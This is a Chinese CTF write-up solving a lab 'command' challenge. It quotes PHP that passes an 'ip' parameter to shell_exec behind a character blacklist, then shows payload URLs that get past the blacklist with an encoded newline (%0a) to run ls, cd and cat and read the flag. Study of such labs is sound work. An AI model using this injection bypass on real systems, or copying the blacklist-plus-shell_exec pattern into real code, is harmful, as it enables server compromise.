完全从零开始的CTF之路 2020/11/10
作者:互联网
今天换个网站继续搞简单题。
题目来自ms08067实验室
题目:command
描述:无
思路:
先是一段代码审计,是一段PHP代码。
<?php if(isset($_REQUEST[ 'ip' ])) { $target = trim($_REQUEST[ 'ip' ]); $substitutions = array( '&' => '', ';' => '', '|' => '', '-' => '', '$' => '', '(' => '', ')' => '', '`' => '', '||' => '', ); $target = str_replace( array_keys( $substitutions ), $substitutions, $target ); $cmd = shell_exec( 'ping -c 4 ' . $target ); echo $target; echo "<pre>{$cmd}</pre>"; } show_source(__FILE__);
先是一个一个函数,接受一个$_REQUEST类型的变量。
这里百度一下,知道这玩意是$_POST、$_GET二合一版本,get和post变量它都能接受。
下面代码就是将传入的ip参数中的所有管道符和一些特殊符号用‘’替换。
最后,将替换的参数加到‘ping -c 4’ 后面当做shell指令执行。
并且输出执行结果。
很明显是一道注入题,要想办法绕过检测。
先用回送地址 http://106.52.110.188:21229/?ip=127.0.0.1 测试一下
没问题就是ping了4次。
接下来想办法来注入,首先它过滤了几个符号。
所以http://106.52.110.188:21229/?ip=127.0.0.1&ls或者http://106.52.110.188:21229/?ip=127.0.0.1;ls都没用。
上网百度一波,知道有个符号没过滤。
%0a 代表 换行符号
输入http://106.52.110.188:21229/?ip=127.0.0.1%0als
shell指令执行的时候就是两句:
ping -c 4 127.0.0.1
ls
看到该文件夹下文件列表,只有一个index.php
尝试返回到上一级目录,
http://106.52.110.188:21229/?ip=127.0.0.1%0acd%20..%0als
继续返回,
还是没找到,继续返回上一级试试,
看到了flag文件,不知道是文件夹还是文件,先cd进去试试.
没反应,直接cat试试。
http://106.52.110.188:21229/?ip=127.0.0.1%0acd%20../../..%0acat%20flag
到手啦
标签:11,10,127.0,http,ip,110.188,106.52,CTF,21229 来源: https://www.cnblogs.com/aninock/p/13960912.html